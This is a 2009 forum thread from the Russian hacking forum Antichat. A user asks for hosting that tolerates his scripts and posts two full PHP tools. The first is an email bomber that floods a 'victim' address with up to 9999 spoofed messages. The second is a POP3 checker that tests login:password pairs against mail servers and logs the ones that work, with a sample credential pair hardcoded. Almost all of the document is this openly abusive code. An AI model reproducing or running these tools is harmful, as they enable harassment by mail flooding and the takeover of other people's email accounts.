Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   подскажите хост. (https://forum.antichat.xyz/showthread.php?t=143723)

Соболь 26.09.2009 06:26

подскажите хост.
 
раньше использовал скарженый хост.... щас начал искать и ничего не нашол.

нужен хостинг, который поддерживает вот эти скрипты.

попробовал флудер мыл на freetzi.com. .. отсылает 100 сообщений и банится.


Код:

<?php 

class Bomb { 

function cli() { 
  if(!defined("STDIN")) { 
      define("STDIN", fopen('php://stdin','r')); 
  } 

  print "Please enter the Target email Address : "; 
  $target = fread(STDIN, 80); 
  print "From = $target\n"; 

  print "Please enter the from email Address :"; 
  $from = fread(STDIN, 80); 
  print "From : $from\n"; 


  print "Please enter your message to the target(800 chr) :"; 
  $message = fread(STDIN, 800); 
  print "Your message is :\n"; 
  print "$message"; 

  print "Please enter a subject :"; 
  $subject = fread(STDIN, 80); 
  print "Subject : $subject\n"; 

  print "Please enter the Number of times to bomb(1-9999) :"; 
  $times = fread(STDIN, 4); 
  print "Times : $times\n"; 

      $this->send($target,$subject,$message,$from,$times); 


function html() { 
  error_reporting(0); 
      $target = $_POST['target']; 
      $subject = $_POST['subject']; 
      $message = $_POST['message']; 
      $from = $_POST['from']; 
      $times = $_POST['times']; 
print " 
<html> 
<head><title>Спамилка  мыл</title> 
<style> 
body { 
background-color: #350000; 
color:#99ff32; 
font-size: 15px; 


input { 
background-color: #222222; 
border: 1px solid #FFFFFF; 
color:#76defc; 

a { 
color: #FFFFFF; 

</style> 
<body> 
<center> 
<form action='' method='POST'> 
E-mail Жертвы :<br /> <INPUT NAME='target' TYPE='text'><BR> 
Текст сообщения : <br /><INPUT NAME='message' TYPE='text'><BR> 
Тема : <br /><INPUT NAME='subject' TYPE='text'><BR> 
От кого : <br /><INPUT NAME='from' TYPE='text'><BR> 
Кол-во писем (1-9999) : <br /><INPUT NAME='times' TYPE='text'><BR> 
<input type='submit' value='Спамить нах!'> 
</center> 
</body> 
</html> 
"; 

  $this->send($target,$subject,$message,$from,$times); 




function send($target,$subject,$message,$from,$times) { 
  $headers = "From: " . $from;   
  $i = 1;   
  while($i <= $times) {   
      mail($target, $subject, $message, $headers);   
      print "$i sent ";   
      $i++;   
      } 
  } 



$bomb = new Bomb; 
$bomb->html(); // For HTML version 
#$bomb->cli(); // For CLI version 


?>

Код:

/*
Emails Account Cheeker (через POP3)
Поддержимаемые домены в domains.txt
Coded by preda1or
*/

global $error,$err_more,$server_reply,$result;
set_time_limit(0);
error_reporting(0);

$login="vadila7@mail.ru";
$password="traktor";

if(mail_check($login,$password))
{
        global $result;
        echo $result;//если удачно
        mail_check_log($result);       
} else {
        echo $result;//если неудачно
        mail_check_log($result);       
}



function mail_check($login='',$password='')
{
        global $error,$err_more,$server_reply,$result;
        $pattern = "^([_a-z0-9-]+)(\.[_a-z0-9-]+)*@([a-z0-9-]+)(\.[a-z0-9-]+)*(\.[a-z]{2,4})$";
        if(ereg($pattern,$login))
        {
                $servername=pop3_get_servername($login);
                if(pop3_server($servername))
                {
                        $login2=explode("@",$login);
                        $login2=$login2[0];
                        if(pop3_login($login,$password,$servername) or pop3_login($login2,$password,$servername))
                        {
                                $result="OK";
                                return true;
                        } else {
                                $error="'pop3_login()' FAILED";
                                $result="FAIL: $error";
                                $server_reply=str_replace("\r\n","",$server_reply);
                                if(strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
                                return false;
                        }
                } else {
                        $error="'pop3_server()' FAILED";
                        $result="FAIL: $error";
                        $server_reply=str_replace("\r\n","",$server_reply);
                        if(strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
                        return false;
                }

        } else {
                $error="'ereg()' FAILED";
                $result="FAIL: $error";
                $server_reply=str_replace("\r\n","",$server_reply);
                if(strlen($server_reply)>1) { $result.=", SERVER REPLY: '$server_reply'";}
                return false;       
        }

}

function mail_check_log($result='')
{
        global $login,$password;
        if(strlen($result)>0)
        {
                $result=str_replace("\n","",$result);
                $result=str_replace("\r","",$result);
                $f=fopen("mail.log","a");
                fwrite($f,"[".date("m.d.y - H:i:s")."] [$login:$password] [$result]\n");
                fclose($f);
        }
        return null;
}

function pop3_get_servername($email='')
{
        $servers=file("pop_servers.dat");
        $i=0;
        while($i<sizeof($servers))
        {
                $current=explode(":",$servers[$i],2);
                $email_expl=explode("@",$email,2);
                if($current[0]=="@".$email_expl[1])
                {
                        $current[1]=str_replace("\r","",$current[1]);
                        $current[1]=str_replace("\n","",$current[1]);
                        return $current[1];
                        $i=sizeof($servers);
                }
                $i++;
        }
}

function pop3_server($host='',$port='110',$timeout='60')
{
        global $err_more,$server_reply;
        $s=fsockopen($host, $port, $errno, $errstr, $timeout);
        $err_more="\$errno=$errno, \$errstr=$errstr";
        if($s)
        {
                $line=fread($s, 256);
                if(eregi("\+OK",$line))
                {
                        fputs($s,"QUIT\r\n");
                        return true;
                } else {
                        return false;
                        $server_reply=$line;
                }
                fclose($s);
        } else {
                return false;
        }
}

function pop3_login($login='',$password='',$host='',$port='110',$timeout='60')
{
        global $err_more,$server_reply;
        $s=fsockopen($host, $port, $errno, $errstr, $timeout);
        $err_more="\$errno=$errno, \$errstr=$errstr";
        if($s)
        {
                $line=fread($s, 256);
                if(eregi("\+OK",$line))
                {
                        fputs($s,"USER $login\r\n");
                        $line=fread($s, 256);
                        if(eregi("\+OK",$line))
                        {
                                fputs($s,"PASS $password\r\n");
                                $line=fread($s, 256);
                                if(eregi("\+OK",$line) and !eregi("\-ERR",$line))
                                {
                                        return true;
                                        fputs($s,"QUIT\r\n");
                                } else {
                                        $server_reply=$line;
                                        return false;
                                }
                        } else {
                                $server_reply=$line;
                                return false;
                        }
                } else {
                        $server_reply=$line;
                        return false;
                }
                fclose($s);
        } else {
                return false;
        }
}

?>



Время: 05:03